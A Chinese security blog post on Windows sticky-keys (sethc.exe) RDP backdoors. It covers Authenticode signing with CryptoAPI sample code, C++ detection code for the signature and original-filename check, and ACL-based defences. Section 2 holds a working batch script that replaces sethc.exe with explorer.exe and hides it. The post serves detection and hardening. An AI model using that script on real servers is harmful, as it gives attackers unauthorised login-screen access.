catalog
1. 3389后门种类 2. shift后门部署 3. 数字签名 4. shift后门检测 5. 测试验证 6. shift后门防御策略
1. 3389后门种类
1. windows放大镜后门: %SystemRoot%\system32\magnify.exe 2. windows屏幕键盘后门: %SystemRoot%\system32\osk.exe 3. windows shift后门: %SystemRoot%\system32\sethc.exe
Relevant Link:
http://baike.baidu.com/view/1400898.htm
2. shift后门部署
@echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo Shift后门 echo.sproink @copy c:\windows\explorer.exe c:\windows\system32\sethc.exe @copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe @attrib c:\windows\system32\sethc.exe +h @attrib c:\windows\system32\dllcache\sethc.exe +h echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe echo 完成百分之 80 attrib c:\windows\system32\sethc.exe +h echo 完成百分之 90 attrib c:\windows\system32\dllcache\sethc.exe +h echo 完成百分之 100 cls echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo 后门安装完毕! echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. & pause exit
其他路径的后门的部署以此类推
Relevant Link:
http://www.jb51.net/hack/35093.html
3. 数字签名
0x1: windows数字签名
如果你是软件开发人员,你可能已经知道windows系统和一些浏览器(例如IE、Firefox)使用一种称为数字认证代码的技术来标识软件的发行商,来检查软件没有被病毒影响。如果你的软件没有用数字认证代码签名,用户将会收到一个警告"此软件发行商不能被成功的验证,你是否要继续运行此软件",很多的用户为了安全起见将放弃对此软件的使用
如果你的软件是提供给专业的人员使用,结果肯能会更糟。许多公司的IT安全策略禁止没有用数字认证码签名的软件的运行
同时微软Windows也使用数字签名证书来判断潜在的恶意软件。如果你的setup.exe没有进行数字认证证书的签名,你的软件的名誉将遭受损害
在Vista系统增加UAC之后,情况变的更糟,如果你的软件没有使用数字认证证书签名,且在运行时需要管理员的权限,则会出现警告对话框"不可识别的程序想访问你的计算机",这个时候很多的用户可能认为是病毒,会禁止使用你的软件
0x2: 数字认证码的原理
数字签名代码是一种技术,它使用数字证书来识别软件的发布商和使用hash算法来确保软件的完整性。数字签名使用公共密匙签名书法被创建,它使用两种不同的密匙:公共密匙和私有密匙,我们称其为密匙对。私有密匙一般为拥有者所有,公有密匙对所有的人都可见
数字签名的过程本质上为
1. 签名软件对要签名的软件创建hash 2. 使用发布者的私有密匙来加密软件的hash 3. 被加密的hash和发布者的数字证书被插入到要签名的软件
数字签名的验证过程本质上为
1. 用户对要验证的软件创建hash 2. 使用发布者的公共密匙来解密被加密的hash 3. 比较解密的hash和新获得的hash,如果匹配说明签名是正确的,软件没有被修改过
0x3: 数字签名
数字签名是对软件进行标识的一个流程,它通过对软件增加了发布商的信息来检查软件在发布后是否被修改或受病毒影响。在软件出售前进行签名已经成为了行业范围的专业实践。随着用户的安全意识的提高,现在越来越多的用户限制下载未签名的软件,因此作为专业的软件公司,在软件出售前进行签名已经成为必不可少的一步
要进行数字签名,需要以下准备
1. 数字证书和密码 2. 数字签名工具 3. 时间戳服务器的URL地址
0x4: 数字签名工具
数字签名工具, 微软提供了两套数字签名工具
1. signcode.exe: 从1998年开始使用,随.NET Framework SDK发布 1) signcode.exe: 数字签名工具 2) makecert.exe: 创建数字证书 3) cert2spc.exe: 将数字证书转化为软件发布者证书格式 2. signtool.exe: 随visualstudio 2005及其以后的版本发布 1) signtool.exe: 数字签名工具 2) makecert.exe: 创建数字证书 3) cert2spc.exe: 将数字证书转化为软件发布者证书格式 4) pvk2pfx.exe(pvkimprt.exe): 将私有的密匙和软件发布者证书合并为pfx文件,此文件将被signtool.exe使用
上面2中工具的不同是signcode.exe需要输入私有密匙和软件发布者证书(pvk和spc文件),signtool.exe只需要输入由pvk和spc合并产生的一个个人信息交互文件(pfx)
0x5: 数字签名加签代码示例: CryptoAPI
0x6: 数字签名验证代码示例: CryptoAPI
// Includes #include <stdio.h> #include <conio.h> #include <windows.h> #include <wincrypt.h> //需要装PLATFORM SDK #pragma comment (lib, "crypt32.lib") // Defines #define CERT_PERSONAL_STORE_NAME L"My" #define CERT_OTHER_PEOPLE_STORE_NAME L"AddressBook" #define MY_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING) #define BUFSIZE 1024 // Local functions void Sign(wchar_t * SignerName, wchar_t * DataFileName, wchar_t * SignatureFileName); void Verify(wchar_t * SignerName, wchar_t * SignatureFileName, wchar_t * DataFileName); // ShowUsageAndExit void ShowUsageAndExit() { wprintf(L"Usage:\n"); wprintf(L" - To sign: SignVerify s signer_name data_file signature_file\n"); wprintf(L" - To verify: SignVerify v signer_name data_file signature_file\n"); wprintf(L"\n<< Press any key to continue >>\n"); _getch(); exit(1); } // End of ShowUsageAndExit // CheckError void CheckError(BOOL condition, wchar_t * message) { wprintf(message); if (condition) { wprintf(L"SUCCESS\n"); } else { // TODO: Some cleanup wprintf(L"FAILURE (0x%x)\n", GetLastError()); wprintf(L"\n<< Press any key to continue >>\n"); _getch(); exit(1); } } // End CheckError // Main void wmain(int argc, wchar_t * argv[]) { // Usage if (argc != 5) { ShowUsageAndExit(); } if (!wcscmp(argv[1], L"s")) { // Sign Sign(argv[2], argv[3], argv[4]); } else if (!wcscmp(argv[1], L"v")) { // Verify Verify(argv[2], argv[3], argv[4]); } else { // Error ShowUsageAndExit(); } // The end wprintf(L"\n<< Press any key to continue >>\n"); _getch(); } // End of main // Sign void Sign(wchar_t * SignerName, wchar_t * DataFileName, wchar_t * SignatureFileName) { // Variables HCERTSTORE hStoreHandle = NULL; PCCERT_CONTEXT pSignerCert = NULL; HCRYPTPROV hCryptProv = NULL; DWORD dwKeySpec = 0; HCRYPTHASH hHash = NULL; HANDLE hDataFile = NULL; BOOL bResult = FALSE; BYTE rgbFile[BUFSIZE]; DWORD cbRead = 0; DWORD dwSigLen = 0; BYTE * pbSignature = NULL; HANDLE hSignatureFile = NULL; DWORD lpNumberOfBytesWritten = 0; wprintf(L"SIGNING\n\n"); // Open the certificate store. hStoreHandle = CertOpenStore( CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, CERT_PERSONAL_STORE_NAME ); CheckError((BOOL)hStoreHandle, L"CertOpenStore....................... "); // Get signer's certificate with access to private key. do { // Get a certificate that matches the search criteria pSignerCert = CertFindCertificateInStore( hStoreHandle, MY_TYPE, 0, CERT_FIND_SUBJECT_STR, SignerName, pSignerCert ); CheckError((BOOL)pSignerCert, L"CertFindCertificateInStore.......... "); // Get the CSP, and check if we can sign with the private key bResult = CryptAcquireCertificatePrivateKey( pSignerCert, 0, NULL, &hCryptProv, &dwKeySpec, NULL ); CheckError(bResult, L"CryptAcquireCertificatePrivateKey... "); } while ((dwKeySpec & AT_SIGNATURE) != AT_SIGNATURE); // Create the hash object. bResult = CryptCreateHash( hCryptProv, CALG_MD5, 0, 0, &hHash ); CheckError(bResult, L"CryptCreateHash..................... "); // Open the file with the content to be signed hDataFile = CreateFileW(DataFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL ); CheckError((hDataFile != INVALID_HANDLE_VALUE), L"CreateFile.......................... "); // Compute the cryptographic hash of the data. while (bResult = ReadFile(hDataFile, rgbFile, BUFSIZE, &cbRead, NULL)) { if (cbRead == 0) { break; } CheckError(bResult, L"ReadFile............................ "); bResult = CryptHashData( hHash, rgbFile, cbRead, 0 ); CheckError(bResult, L"CryptHashData....................... "); } CheckError(bResult, L"ReadFile............................ "); // Sign the hash object dwSigLen = 0; bResult = CryptSignHash( hHash, AT_SIGNATURE, NULL, 0, NULL, &dwSigLen ); CheckError(bResult, L"CryptSignHash....................... "); pbSignature = (BYTE *)malloc(dwSigLen); CheckError((BOOL)pbSignature, L"malloc.............................. "); bResult = CryptSignHash( hHash, AT_SIGNATURE, NULL, 0, pbSignature, &dwSigLen ); CheckError(bResult, L"CryptSignHash....................... "); // Create a file to save the signature hSignatureFile = CreateFileW( SignatureFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); CheckError((hSignatureFile != INVALID_HANDLE_VALUE), L"CreateFile.......................... "); // Write the signature to the file bResult = WriteFile( hSignatureFile, (LPCVOID)pbSignature, dwSigLen, &lpNumberOfBytesWritten, NULL ); CheckError(bResult, L"WriteFile........................... "); // Clean up and free memory. free(pbSignature); CloseHandle(hDataFile); CloseHandle(hSignatureFile); bResult = CryptDestroyHash(hHash); CheckError(bResult, L"CryptDestroyHash.................... "); bResult = CertFreeCertificateContext(pSignerCert); CheckError(bResult, L"CertFreeCertificateContext.......... "); bResult = CertCloseStore( hStoreHandle, CERT_CLOSE_STORE_CHECK_FLAG ); CheckError(bResult, L"CertCloseStore...................... "); } // End of Sign // Verify void Verify(wchar_t * SignerName, wchar_t * DataFileName, wchar_t * SignatureFileName) { // Variables HCERTSTORE hStoreHandle = NULL; PCCERT_CONTEXT pSignerCert = NULL; DWORD dwKeySpec = 0; HCRYPTPROV hCryptProv = NULL; HCRYPTHASH hHash = NULL; HANDLE hDataFile = NULL; BOOL bResult = FALSE; BYTE rgbFile[BUFSIZE]; DWORD cbRead = 0; HANDLE hSignatureFile = NULL; BYTE * pbBinary = NULL; DWORD cbBinary = 0; HCRYPTKEY hPubKey = NULL; wprintf(L"VERIFYING\n\n"); // Open the certificate store. hStoreHandle = CertOpenStore( CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, CERT_PERSONAL_STORE_NAME ); CheckError((BOOL)hStoreHandle, L"CertOpenStore....................... "); // Get a certificate that matches the search criteria pSignerCert = CertFindCertificateInStore( hStoreHandle, MY_TYPE, 0, CERT_FIND_SUBJECT_STR, SignerName, pSignerCert ); CheckError((BOOL)pSignerCert, L"CertFindCertificateInStore.......... "); // Get the CSP bResult = CryptAcquireContext( &hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT ); CheckError(bResult, L"CryptAcquireContext................. "); // Create the hash object. bResult = CryptCreateHash( hCryptProv, CALG_MD5, 0, 0, &hHash ); CheckError(bResult, L"CryptCreateHash..................... "); // Open the file with the content that was signed. hDataFile = CreateFileW( DataFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL ); CheckError((hDataFile != INVALID_HANDLE_VALUE), L"CreateFile.......................... "); // Compute the cryptographic hash of the data. while (bResult = ReadFile(hDataFile, rgbFile, BUFSIZE, &cbRead, NULL)) { if (cbRead == 0) { break; } CheckError(bResult, L"ReadFile............................ "); bResult = CryptHashData( hHash, rgbFile, cbRead, 0 ); CheckError(bResult, L"CryptHashData....................... "); } CheckError(bResult, L"ReadFile............................ "); // Open the file with the signature hSignatureFile = CreateFileW( SignatureFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL ); CheckError((hSignatureFile != INVALID_HANDLE_VALUE), L"CreateFile.......................... "); // Read the signature from the file pbBinary = (BYTE *)malloc(BUFSIZE); CheckError((BOOL)pbBinary, L"malloc.............................. "); bResult = ReadFile(hSignatureFile, pbBinary, BUFSIZE, &cbBinary, NULL); CheckError(bResult, L"ReadFile............................ "); // Get the public key from the certificate CryptImportPublicKeyInfo( hCryptProv, MY_TYPE, &pSignerCert->pCertInfo->SubjectPublicKeyInfo, &hPubKey ); CheckError(bResult, L"CryptImportPublicKeyInfo............ "); // Verify the signature bResult = CryptVerifySignature( hHash, pbBinary, cbBinary, hPubKey, NULL, 0 ); CheckError(bResult, L"CryptVerifySignature................ "); // Clean up and free memory. free(pbBinary); CloseHandle(hDataFile); CloseHandle(hSignatureFile); bResult = CryptDestroyHash(hHash); CheckError(bResult, L"CryptDestroyHash.................... "); bResult = CertFreeCertificateContext(pSignerCert); CheckError(bResult, L"CertFreeCertificateContext.......... "); bResult = CertCloseStore( hStoreHandle, CERT_CLOSE_STORE_CHECK_FLAG ); CheckError(bResult, L"CertCloseStore...................... "); bResult = CryptReleaseContext( hCryptProv, 0 ); CheckError(bResult, L"CryptReleaseContext................. "); } // End of Verify
Relevant Link:
http://blogs.msdn.com/b/alejacma/archive/2008/01/23/how-to-sign-and-verify-with-cryptoapi-and-a-user-certificate.aspx http://blogs.msdn.com/b/alejacma/archive/2008/02/20/how-to-sign-exe-files-with-an-authenticode-certificate-vb-net.aspx http://blogs.msdn.com/b/alejacma/archive/2008/12/11/how-to-sign-exe-files-with-an-authenticode-certificate-part-2.aspx http://blogs.msdn.com/b/alejacma/archive/tags/cryptoapi/ http://blog.csdn.net/wowolook/article/details/17259635 http://www.cnblogs.com/itech/archive/2011/07/21/2110924.html http://www.pudn.com/downloads75/sourcecode/windows/system/detail273193.html https://msdn.microsoft.com/en-us/library/aa388208(v=VS.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa388171(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa387764(v=vs.85).aspx
4. shift后门检测
0x1: 检测思路
1. 检查%SystemRoot%\system32\sethc.exe文件是否包含windows合法签名 2. 检查%SystemRoot%\system32\sethc.exe文件是否包含正常setth程序的二进制特征码
0x2: Code Example
// AliHealthExamination.cpp : 定义控制台应用程序的入口点。 // #include <io.h> #include <fstream> #include <iostream> #include <string> #include "Cverify.h" #include "JsonEasy.h" using namespace std; #pragma comment(lib,"lib_json") #pragma comment(lib, "version.lib") char* TCHAR2char(TCHAR* tchStr) { int iLen = 2 * wcslen(tchStr);//CString,TCHAR汉字算一个字符,因此不用普通计算长度 char * chRtn = new char[iLen+1]; wcstombs(chRtn, tchStr, iLen+1);//转换成功返回为非负值 return chRtn; } HRESULT FileBinaryCheck(TCHAR exeName[], JsonEasy & JsonResult) { int Bresult_sethc = -1, Bresult_osk = -1, Bresult_magnify = -1; int temResult_magnify, temResult_screenmagnifier; DWORD dwSize; DWORD dwRtn; //file ersion info TCHAR* szVersion; CString csVersion; //get the size of version info dwSize = GetFileVersionInfoSize(exeName, NULL); if (dwSize == 0) { //在windows server 2003、2008、windows7上屏幕放大键的程序名是不同的,当传入错误的程序名时,这里会打开失败而自动退出 return E_FAIL; } char *pBuf; pBuf = new char[dwSize + 1]; if(pBuf == NULL) { return E_FAIL; } memset(pBuf, 0, dwSize + 1); //get file version information dwRtn = GetFileVersionInfo(exeName ,NULL, dwSize, pBuf); if(dwRtn == 0) { return E_FAIL; } LPVOID lpBuffer = NULL; UINT uLen = 0; //pBuf: Pointer to a buffer that receives the file-version information. //Retrieves specified version information from the specified version-information resource. dwRtn = VerQueryValue(pBuf, TEXT("\\StringFileInfo\\080404b0\\OriginalFilename"), //0804: 中文、04b0: 1252ANSI //可以测试的属性 /* CompanyName FileDescription FileVersion InternalName LegalCopyright OriginalFilename ProductName ProductVersion Comments LegalTrademarks PrivateBuild SpecialBuild */ &lpBuffer, &uLen); if(dwRtn == 0) { return E_FAIL; } //get output //这里获得的文件名可能magnify.exe、screenmagnifier.exe szVersion = (TCHAR*)lpBuffer; //check result(对magnify单独做特殊处理) csVersion = (CString)szVersion; csVersion.MakeLower(); CString ssExeName( exeName ); if(ssExeName.Find(_T("sethc.exe")) != -1 ) { JsonResult.execinfoItemSethc["binarycoderesult"] = TCHAR2char(szVersion); Bresult_sethc = csVersion.Find(_T("sethc.exe")); } else if(ssExeName.Find(_T("osk.exe")) != -1 ) { JsonResult.execinfoItemOsk["binarycoderesult"] = TCHAR2char(szVersion); Bresult_osk = csVersion.Find(_T("osk.exe")); } //else if(ssExeName.CompareNoCase(_T("magnifier.exe")) == 0 || ssExeName.CompareNoCase(_T("magnify.exe")) == 0 ) else if(ssExeName.Find(_T("magnify.exe")) != -1 ) { JsonResult.execinfoItemMagnify["binarycoderesult"] = TCHAR2char(szVersion); temResult_magnify = csVersion.Find(_T("magnify.exe")); temResult_screenmagnifier = csVersion.Find(_T("screenmagnifier.exe")); Bresult_magnify = ( (temResult_magnify != -1) || (temResult_screenmagnifier != -1) ) ? 1 : -1; } if( (Bresult_sethc != -1) || (Bresult_osk != -1) || (Bresult_magnify != -1) ) { return S_OK; } else { return E_FAIL; } } HRESULT SignatureCheck(TCHAR exePath[], JsonEasy & JsonResult) { //sigName: signature name CStdString sigName; CString csExePath; //new CFileDigitalSignVerify CFileDigitalSignVerify fileVerifySign = CFileDigitalSignVerify(); //verify the sethc fileSign VERIFY_RESULT signResult = fileVerifySign.VerifyFileBySmartMode(exePath, sigName); //如果用户对sethc.exe、osk.exe、magnify.exe进行了加固,则直接判定为正常 //get the sign info json csExePath = (CString)exePath; if(csExePath.Find(_T("sethc.exe")) != -1) { JsonResult.execinfoItemSethc["exename"] = TCHAR2char(exePath); JsonResult.execinfoItemSethc["signcheckresult"] = TCHAR2char((TCHAR*)sigName.GetData()); JsonResult.execinfoItemSethc["trustcheckresult"] = signResult == 0 ? "VrUnknown" : signResult == 1 ? "VrNoSignature" : signResult == 2 ? "VrTrusted" : signResult == 3 ? "VrExpired" : signResult == 4 ? "VrRevoked" : signResult == 5 ? "VrDistrust" : signResult == 6 ? "VrSecuritySettings" : ""; } else if(csExePath.Find(_T("osk.exe")) != -1) { JsonResult.execinfoItemOsk["exename"] = TCHAR2char(exePath); JsonResult.execinfoItemOsk["signcheckresult"] = TCHAR2char((TCHAR*)sigName.GetData()); JsonResult.execinfoItemOsk["trustcheckresult"] = signResult == 0 ? "VrUnknown" : signResult == 1 ? "VrNoSignature" : signResult == 2 ? "VrTrusted" : signResult == 3 ? "VrExpired" : signResult == 4 ? "VrRevoked" : signResult == 5 ? "VrDistrust" : signResult == 6 ? "VrSecuritySettings" : ""; } else if(csExePath.Find(_T("magnify.exe")) != -1) { JsonResult.execinfoItemMagnify["exename"] = TCHAR2char(exePath); JsonResult.execinfoItemMagnify["signcheckresult"] = TCHAR2char((TCHAR*)sigName.GetData()); JsonResult.execinfoItemMagnify["trustcheckresult"] = signResult == 0 ? "VrUnknown" : signResult == 1 ? "VrNoSignature" : signResult == 2 ? "VrTrusted" : signResult == 3 ? "VrExpired" : signResult == 4 ? "VrRevoked" : signResult == 5 ? "VrDistrust" : signResult == 6 ? "VrSecuritySettings" : ""; } //Microsoft versign CString csSigName = CString((TCHAR*)sigName.GetData()); int vResult = csSigName.Find(L"O=Microsoft Corporation"); if(vResult != -1) { if(signResult == 2) { //VrTrusted return S_OK; } else { //NOT VrTrusted return E_FAIL; } } else { return E_FAIL; } } int main(int argc, char* argv[]) { //parameter check std::string action; if (argc <= 1) { std::cout << "usage: " << argv[0] << " --suspicion-account" << std::endl; return 0; } else { action = argv[1]; } //main func if (action == "--suspicion-account") { } else if (action == "--port-scan") { } else if (action == "--system-vulscan") { } else if(action == "--3389-backdoor") { JsonEasy JsonResult = JsonEasy(); //check sign TCHAR sethcPath[MAX_PATH] = _T(""); TCHAR oskPath[MAX_PATH] = _T(""); TCHAR magnifyPath[MAX_PATH] = _T(""); //get system32 path TCHAR lpszFileFullPath[MAX_PATH]; GetSystemDirectory(lpszFileFullPath, sizeof(lpszFileFullPath)); lstrcat(lpszFileFullPath, _T("\\")); //lpszFileFullPath = %SystemRoot%\system32\sethc.exe lstrcat(sethcPath, lpszFileFullPath); lstrcat(sethcPath, _T("sethc.exe")); //lpszFileFullPath = %SystemRoot%\system32\osk.exe lstrcat(oskPath, lpszFileFullPath); lstrcat(oskPath, _T("osk.exe")); //lpszFileFullPath = %SystemRoot%\system32\magnify.exe lstrcat(magnifyPath, lpszFileFullPath); lstrcat(magnifyPath, _T("magnify.exe")); { //which hava read permission, go on //SignatureCheck result: S_OK or E_FAIL HRESULT SresultSethc = SignatureCheck(sethcPath, JsonResult); HRESULT SresultOsk = SignatureCheck(oskPath, JsonResult); HRESULT SresultMagnify = SignatureCheck(magnifyPath, JsonResult); //may be angly if(SresultSethc == S_OK) { if(SresultOsk == S_OK) { if(SresultMagnify == S_OK) { //if SignatureCheck is ok, then we go on //certificate check is ok, go on binary characteristics //if the program contains correct binary program name,then ok HRESULT BresultSethc = FileBinaryCheck(sethcPath, JsonResult); HRESULT BresultOsk = FileBinaryCheck(oskPath, JsonResult); HRESULT BresultMagnify = FileBinaryCheck(magnifyPath, JsonResult); if(BresultSethc == S_OK && BresultOsk == S_OK && BresultMagnify == S_OK ) { JsonResult.jRoot["isvul"] = 0; } else { JsonResult.jRoot["isvul"] = 1; } } else { //std::wcout << "JsonResult.execinfoItemMagnify: " << JsonResult.execinfoItemMagnify["signcheckresult"].empty() << std::endl; //magnify.exe //check target is if accessable if ( JsonResult.execinfoItemMagnify["signcheckresult"].empty() == 0 ) { JsonResult.jRoot["isvul"] = 0; JsonResult.execinfoItemMagnify["exename"] = TCHAR2char(magnifyPath); JsonResult.execinfoItemMagnify["signcheckresult"] = "CN=Microsoft Windows Component Publisher, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"; JsonResult.execinfoItemMagnify["trustcheckresult"] = "VrTrusted"; JsonResult.execinfoItemMagnify["binarycoderesult"] = "Target Program Has Been Reinforcemented"; } else { JsonResult.jRoot["isvul"] = 1; } } } else { //osk.exe //check target is if accessable if ( JsonResult.execinfoItemOsk["signcheckresult"].empty() == 0 ) { JsonResult.jRoot["isvul"] = 0; JsonResult.execinfoItemOsk["exename"] = TCHAR2char(oskPath); JsonResult.execinfoItemOsk["signcheckresult"] = "CN=Microsoft Windows Component Publisher, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"; JsonResult.execinfoItemOsk["trustcheckresult"] = "VrTrusted"; JsonResult.execinfoItemOsk["binarycoderesult"] = "Target Program Has Been Reinforcemented"; } else { JsonResult.jRoot["isvul"] = 1; } } } else { //sethc.exe //check target is if accessable if ( JsonResult.execinfoItemSethc["signcheckresult"].empty() == 0 ) { //no read permission JsonResult.jRoot["isvul"] = 0; JsonResult.execinfoItemSethc["exename"] = TCHAR2char(sethcPath); JsonResult.execinfoItemSethc["signcheckresult"] = "CN=Microsoft Windows Component Publisher, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"; JsonResult.execinfoItemSethc["trustcheckresult"] = "VrTrusted"; JsonResult.execinfoItemSethc["binarycoderesult"] = "Target Program Has Been Reinforcemented"; } else { JsonResult.jRoot["isvul"] = 1; } } } //wrapper protocol JsonResult.jRoot["moduleid"] = 1; JsonResult.jRoot["execresult"] = 1; JsonResult.execinfoArrayObj.append(JsonResult.execinfoItemSethc); JsonResult.execinfoArrayObj.append(JsonResult.execinfoItemOsk); JsonResult.execinfoArrayObj.append(JsonResult.execinfoItemMagnify); JsonResult.jRoot["execinfo"] = JsonResult.execinfoArrayObj; //output finnal result std::string out = JsonResult.jRoot.toStyledString(); std::cout << out << std::endl; } return 0; }
需要注意的几个问题是
1. 在windows7、windows server 2003、windows server 2012系统上,屏幕放大器的程序名都是magnify.exe,但是原始程序名是不同的,可能有magnify.exe、screenmagnifier.exe,在检测程序中需要做兼容 2. 如果采取了对sethc.exe、osk.exe、magnify.exe的加固(设置everyone完全拒绝),则程序无法正常获取到目标程序的版本信息,在检测程序中需要做兼容 3. 如果目标程序无法读取,即无法正常获取程序签名、版本信息,则假定目标程序为正常: 最小误判原则 4. sethc.exe、osk.exe、magnify.exe中同时出现 1) 程序被替换 2) everyone权限被取消 则需要单独标记出来
为了简化上述问题,我们定义以下基本假设
1. 如果因为NTFS ACL权限问题获取不到目标进程的签名和版本信息,则认定目标进程也无法被黑客用来进行shift后门运行登录,因为只有程序可读/可执行,这个shift后门才本质存在 2. 在NTFS ACL权限正常的情况下,不管是"copy explorer"、还是"copy virus"的shift后门部署方式,签名+二进制版本信息特征的逻辑都能正常检测出来
0x1: System32,Syswow64的区别
1. "WOW64"的意思是"Windows On Windows64" 2. 在32bit下,system32里保存的是32bit的程序 3. 在64bit下,system32里保存的是64bit的程序,SysWOW64里保存的是32bit的程序 4. 32位软件并不能在64位系统中直接运行,所以微软设计了WoW64(Windows-on-Windows 64-bit),通过Wow64.dll、Wow64win.dll、Wow64cpu.dl三个DLL文件进行32位和64位系统的切换来运行32位软件
Relevant Link:
http://www.cnblogs.com/pythonschool/archive/2012/11/10/2764517.html http://www.ssdax.com/196.html http://blog.csdn.net/fly2leo/article/details/11620273
5. 测试验证
1. windows server 2003: 未部署shift后门/部署shift后门,检测程序均工作正常 2. windows server 2008: 未部署shift后门/部署shift后门,检测程序均工作正常 3. windows server 2012: 未部署shift后门/部署shift后门,检测程序均工作正常 4. 32bit操作系统下测试通过
6. shift后门防御策略
0x1: 拒绝使用sethc.exe
1. 首先找到C:\WINDOWS\system32、C:\WINDOWS\system32\dllcache下的seth.exe。 2. 删除所有文件安全设置下的用户,将"Everyone的权限"列表框中的选项,全部勾选"拒绝"复选框
0x2: 禁用Shift键
登录服务器后,连续按5次Shift键,在弹出的对话框中单击"设置"按钮,然后会弹出"辅助选项设置"对话框,取消对所有复选框的勾选
Relevant Link:
http://server.zzidc.com/fwqcjwt/502.html
Copyright (c) 2015 Little5ann All rights reserved